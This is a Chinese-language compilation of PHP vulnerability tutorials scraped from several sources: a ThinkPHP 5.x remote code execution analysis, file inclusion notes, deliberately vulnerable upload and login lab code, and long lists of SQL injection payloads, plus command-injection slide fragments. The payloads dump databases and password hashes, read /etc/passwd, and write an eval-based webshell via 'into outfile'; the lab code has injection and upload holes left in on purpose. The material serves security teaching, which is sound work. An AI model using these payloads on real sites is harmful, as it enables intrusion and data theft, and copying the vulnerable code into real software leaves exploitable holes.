PHP代码执行漏洞参考资料总结
[漏洞分析]thinkphp5.x全版本任意代码执行分析全记录
[漏洞分析]thinkphp5.x全版本任意代码执⾏分析全记录0x00 简介2018年12⽉10⽇中午,thinkphp官⽅公众号发布了⼀个更新通知,包含了⼀个5.x系列所有版本存在被getshell的⾼风险漏洞。
吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell。
(以下截图为后截图,主要是想讲⼀下从⽆到有,如何分析漏洞,整个过程是怎么样的。
)0x01 漏洞原理下午睡醒,赶紧起来分析漏洞。
结合官⽅公告说的由于对控制器名没有⾜够的检测,再查看官⽅git commit信息拉⼀个tp下来,⽤的是tp 5.1.29的版本,windows+phpstudy ⼀把梭,搭建好环境。
在官⽅修改的地⽅加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。
请求:http://127.0.0.1/index.php/index/index/index命中断点。
⼀步步跟进controller的⾛向,发现在同⽂件下的 exec函数,实例化控制器跟进controller⽅法,thinkphp\library\think\App.php使⽤parseModuleAndClass⽅法来解析,继续跟进分析⼀下代码,发现会有⼀个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。
此处没有包含,所以会进⼊下⾯的判断,最后使⽤parseClass来解析,跟如parseClass函数发现进过parseName之后index变成了⾸字母⼤写,原因是经过了命名风格转换。
最后会将命名空间等进⾏拼接返回我们带命名空间的完整类名。
跟进,回到了controller⽅法,此时判断类是否存在,不存在会触发⾃动加载类。
之后就是实例化类,使⽤反射来调⽤类的相应⽅法了。
(偷懒省略掉了,主要是介绍⼀下分析的过程)⼤概流程摸清楚了,那么这个漏洞是怎么触发的呢?在跟踪的时候我们发现,类名都是带有完整的命名空间的,⽽命名空间恰好就是使⽤反斜杠来划分,结合那⼀个判断代码:反斜杠是否存在,直接返回类名的操作。
PHP文件包含漏洞详解
PHP文件包含漏洞详解(1)一、什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。
如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。
所以我就不重复了。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
Php4存在远程&本地,php5仅存在本地包含。
二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。
在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
PHP常见漏洞代码总结
PHP常见漏洞代码总结漏洞总结PHP ⽂件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕过⽅式使⽤Burp抓包,将上传的⼀句话⼩马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){// 判断 content-type 的类型,如果是image/png则通过if($_FILES['upload_file']['type'] == 'image/png'){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];if (move_uploaded_file($temp_file, $img_path))echo "上传完成.";elseecho "上传出错.";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单的绕过: ⽩名单就是允许上传某种类型的⽂件,该⽅式⽐较安全,抓包上传php后门,然后将⽂件名改为.jpg即可上传成功,但是有时候上传后的⽂件会失效⽆法拿到Shell.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$allow_ext = array(".jpg",".png",".jpeg");$file_name = trim($_FILES['upload_file']['name']); // 取出⽂件名$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = strtolower($file_ext); // 转换为⼩写$file_ext = trim($file_ext); // ⾸尾去空if(in_array($file_ext, $allow_ext)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path))echo "上传完成: {$img_path} <br>";elseecho "上传失败 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单验证⽂件头: 本关主要是允许jpg/png/gif这三种⽂件的传输,且代码中检测了⽂件头的2字节内容,我们只需要将⽂件的头两个字节修改为图⽚的格式就可以绕过.通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49以JPEG为例,我们在⼀句话⽊马的开头添加两个11也就是⼆进制的3131,然后将.php修改为.jpg,使⽤Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2);fclose($file);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);$fileType = '';switch($typeCode){case 255216: $fileType = 'jpg'; break;case 13780: $fileType = 'png'; break;case 7173: $fileType = 'gif'; break;default: $fileType = 'unknown';}return $fileType;}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){echo "上传失败 <br>";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path))echo "上传完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>绕过检测⽂件头: 这种⽅式是通过⽂件头部起始位置进⾏匹配的从⽽判断是否上传,我们可以通过在上传⽂件前⾯追加合法的⽂件头进⾏绕过,例如在⽂件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在⽂件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$fh = fopen($filename, "rb");if($fh){$bytes = fread($fh,6);fclose($fh);if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){return "image/jpeg";}if($bytes == "\x89PNG\x0d\x0a"){return "image/png";}if($bytes == "GIF87a" or $bytes == "GIF89a"){return "image/gif";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>图像检测绕过: 通过使⽤图像函数,检测⽂件是否为图像,如需上传则需要保持图像的完整性,所以⽆法通过追加⽂件头的⽅式绕过,需要制作图⽚⽊马上传.针对这种上传⽅式的绕过我们可以将图⽚与FIG⽂件合并在⼀起copy /b pic.gif+shell.php 1.php上传即可绕过.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){// 检查是否为图像if(@getimagesize($filename)){if(@imagecreatefromgif($filename)){return "image/gif";}if(@imagecreatefrompng($filename)){return "image/png";}if(@imagecreatefromjpeg($filename)){return "image/jpeg";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>上传条件竞争: 这⾥是条件竞争,先将⽂件上传到服务器,然后判断⽂件后缀是否在⽩名单⾥,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利⽤burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext, $ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);echo "上传完成. <br>";}else{unlink($upload_file);echo "上传失败. <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>PHP 注⼊漏洞基本查询语句搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.7以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists local_user;create table local_user(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);alert table local_user character set utf8;insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@"), (2,"lyshark",md5("adsdfw2345"),"lyshark@"),(3,"guest",md5("12345678"),"guest@"),(4,"Dumb",md5("458322456"),"Dumb@"),(5,"Angelina",md5("GIs92834"),"angelina@"),(6,"Dummy",md5("HIQWu28934"),"dummy@"),(7,"batman",md5("suw&*("),"batmain@"),(8,"dhakkan",md5("swui16834"),"dhakakan@"),(9,"nacki",md5("fsie92*("),"cbooks@"),(10,"wuhaxp",md5("sadwq"),"cookiec@"),(11,"cpiwu",md5("sadwq"),"myaccce@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query)$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><br><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>Union 查询字段个数: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常.⾸先我们猜测,当前字段数为4的时候页⾯⽆返回,也就说明表字段数必然是⼤于4的,接着增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=0 union select 1,2,3,4 --+index.php?id=1' and 1=0 union select 1,2,3,4,5 --+index.php?id=1' and 1=0 union select null,null,null,null,null --+Order By查询字段个数: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1 order by 6 --+index.php?id=1' and 1 order by 5 --+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,如果想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,或者通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' and 0 union select null,null,null,null,null --+index.php?id=1' and 0 union select null,version(),null,null,null --+index.php?id=1' union select null,null,null,null,null limit 1,1 --+index.php?id=1' union select null,version(),null,null,null limit 1,1 --+查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.index.php?id=1' and 0 union select 1,1,database(),1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.# 通过 limit 限定条件每次只输出⼀个表名称index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 1,1 --+# 通过 concat 函数⼀次性输出所有表index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema='lyshark' --+查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# 查询出lyshark数据库local_user表中的,所有字段index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns> where table_schema='lyshark' and table_name='local_user' --+# 每次读取出⼀个表中字段,使⽤limit进⾏遍历index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 1,1 --+查询表中数据: 通过上⾯的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进⾏读取表中数据. index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+常⽤的查询语句: 除此以外,我们还可以使⽤以下常⽤判断条件的配合实现对数据库其他权限的进⼀步注⼊.# -----------------------------------------------------------------------------------# 判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库GET 注⼊简单的注⼊测试: 本关中没有对代码进⾏任何的过滤.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><?phpfunction getCurrentUrl(){$scheme = $_SERVER['REQUEST_SCHEME']; // 协议$domain = $_SERVER['HTTP_HOST']; // 域名$requestUri = $_SERVER['REQUEST_URI']; // 请求参数$currentUrl = $scheme . "://" . $domain . $requestUri;return urldecode($currentUrl);}><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select username,password from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<font size='5'>";echo "账号: {$row['username']} <br>";echo "密码: {$row['password']} <br>";echo "</font>";echo "后端执⾏语句: {$sql} <br>";$URL = getCurrentUrl();echo "后端URL参数: {$URL} <br>";}else{echo "后端执⾏语句: {$sql} <br>";print_r(mysql_error());}}}}></body></html>SQL语句没有经过任何过滤,或者是过滤不严格,会导致注⼊的发⽣.---------------------------------------------------------------------------------$sql = "select username,password from local_user where id=$id limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1) union select 1,version() --+http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+---------------------------------------------------------------------------------$sql = "select username,password from local_user where id='$id' limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=('$id') limit 0,1";http://127.0.0.1/index.php?id=-1') union select 1,version() --+http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+$sql = "select username,password from local_user where id=(('$id')) limit 0,1";http://127.0.0.1/index.php?id=-1')) union select 1,version() --+---------------------------------------------------------------------------------$id = '"' . $id . "'";$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1") union select 1,version() --+http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+POST 输⼊框注⼊:<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);if(isset($_POST['uname']) && isset($_POST['passwd'])){$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "后端执⾏语句: {$sql} <br>";}else{echo "<br>后端执⾏语句: {$sql} <br>";}}}}></body></html>简单的进⾏查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤⼦了.# ---------------------------------------------------------------------------------------------------------# SQL语句$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";# ---------------------------------------------------------------------------------------------------------# 爆出字段数admin' order by 1 #admin' order by 2 --admin' and 1 union select 1,2,3 #admin' and 1 union select 1,2 ## 爆出数据库admin ' and 0 union select null,database() #admin' and 0 union select 1,version() ## 爆出所有表名称(需要注意数据库编码格式)set character_set_database=utf8;set collation_database= utf8_general_cialter table local_user convert to character set utf8;' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 ## 爆出表中字段' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 ## 继续爆出所有的⽤户名密码' union select null,group_concat(username,0x3a,password) from local_user ## ---------------------------------------------------------------------------------------------------------# 双注⼊-字符型# 此类注⼊很简单,只需要闭合前⾯的")⽽后⾯则使⽤#注释掉即可$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";#payloadadmin") order by 2 #admin") and 0 union select 1,version() #admin") and 0 union select 1,database() ## ---------------------------------------------------------------------------------------------------------# POST型的-双注⼊#$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";admin" and 0 union select 1,version() #Usage-Agent 注⼊: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带⼊数据库的相关操作,则可能会产⽣SQL注⼊问题.建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){// 获取到⽤户的Agent客户请求体$Uagent = $_SERVER['HTTP_USER_AGENT'];// REMOTE_ADDR 是调⽤的底层的会话ip地址,理论上是不可以伪造的$IP = $_SERVER['REMOTE_ADDR'];echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "您的IP地址是: {$IP} <br>";$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";mysqli_query($connect,$insert_sql);echo "User_Agent请求头: {$Uagent} <br>";}}}}></body></html>⾸先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带⼊数据库查询.POST /post.php HTTP/1.1Host: 192.168.1.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8uname=admin&passwd=123123&submit=Submit修改agent验证,可被绕过,此处的语句带⼊数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地⽅即使存在注⼊也⽆法得到结果,但却是⼀个安全隐患,需要引起重视.User-Agent: 1',1,1)#uname=admin&passwd=123123&submit=SubmitUser-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#uname=admin&passwd=123123&submit=SubmitCookie 注⼊: 该注⼊的产⽣原因是因为程序员没有将COOKIE进⾏合法化检测,并将其代⼊到了数据库中查询了且查询变量是可控的,当⽤户登录成功后会产⽣COOKIE,每次页⾯刷新后端都会拿着这个COOKIE带⼊数据库查找,这是⾮常危险的.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input type="text" name="uname" value=""/><br>密码: <input type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$cookee = $_COOKIE['uname'];if($cookee){$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";$query = mysqli_query($connect,$sql);echo "执⾏SQL: " . $sql . "<br>";if($query){$row = mysqli_fetch_array($query);。
02命令执行代码注入漏洞(PPT43页)
命令执行/代码注入漏洞攻击防御
命令执行/代码注入攻击防御
灰盒审计概述 基于前面的分析,注入漏洞的根源在于过分的相信了每一位用户,总
假设用户的输入是正常的、无害的,而没有进行严格的审查判断以及 过滤。由于每一位开发者的经验有限,这些问题总会不知不觉中就被 写入到了代码之中,给恶意浏览者有可乘之机。 防御方法一般是加强开发者的安全意识,以及规范开发流程和代码质 量的严格审核。如果是采用第三方的应用时,在代码质量是无法控制 的情况下,就可以采用部署入侵检测防御系统或防火墙进行实时防护 。
eval.php文件的内容如下图:
命令执行/代码注入漏洞分类介绍
代码直接注入示例1 若用户输入精心组装过的数据,如:
http://127.0.0.1/cmdcode/code/eval.php?arg=phpinfo() 则将执行php代码命令phpinfo(),结果如下图:
命令执行/代码注入漏洞分类介绍
命令执行/代码注入漏洞分类介绍
命令直接注入示例1 (CGI)系统命令注入执行漏洞示例,就比如去年很火的Bash漏洞,就
属于这类漏洞,用户可直接更改HTTP头User-Agent的值,就可引发命 令注入,如下图(命令执行结果将从服务器上下载一个php 文件到本地):
命令执行/代码注入漏洞分类介绍
命令执行/代码注入漏洞分类介绍
命令或代码动态变量/函数执行漏洞示例 当用户在浏览器中输入:
http://127.0.0.1/dynamic.php?dyn_func=system&argument=ipconf ig,就相当于执行了系统命令ipconfig,如下图
命令执行/代码注入漏洞挖掘方法
命令执行/代码注入漏ቤተ መጻሕፍቲ ባይዱ分类介绍
PHP网站常见的安全漏洞
PHP网站常见的安全漏洞PHP网站常见的安全漏洞目前PHP网站常见的漏洞有五种,分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。
下面为大家简单介绍一些。
1、session文件漏洞Session攻击是黑客最常用到的攻击手段之一。
当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP 设置了Session和Cookie用于方便用户的使用和访向。
2、SQL注入漏洞在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。
黑客可以根据恶意程序返回的结果获取相应的信息。
这就是月行胃的SQL注入漏洞。
3、脚本执行漏洞脚本执行漏洞常见的`原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。
脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些间题已经减少或者不存在了。
4、全局变量漏洞PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变量类型进行说明,系统会自动根据上下文环境自动确定变量类型。
这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。
5、文件漏洞文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。
假如在lsm.php中包含这样一段代码:include($b.”/aaa.php”.),这对黑客来说,可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现对网站的攻击。
可以向服务器提交 a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。
下载全文。
PHP反序列化漏洞详解(魔术方法)
PHP反序列化漏洞详解(魔术⽅法)⽂章⽬录⼀、PHP⾯向对象编程在⾯向对象的程序设计(Object-oriented programming,OOP)中,对象是⼀个由信息及对信息进⾏处理的描述所组成的整体,是对现实世界的抽象。
类是⼀个共享相同结构和⾏为的对象的集合。
每个类的定义都以关键字class开头,后⾯跟着类的名字。
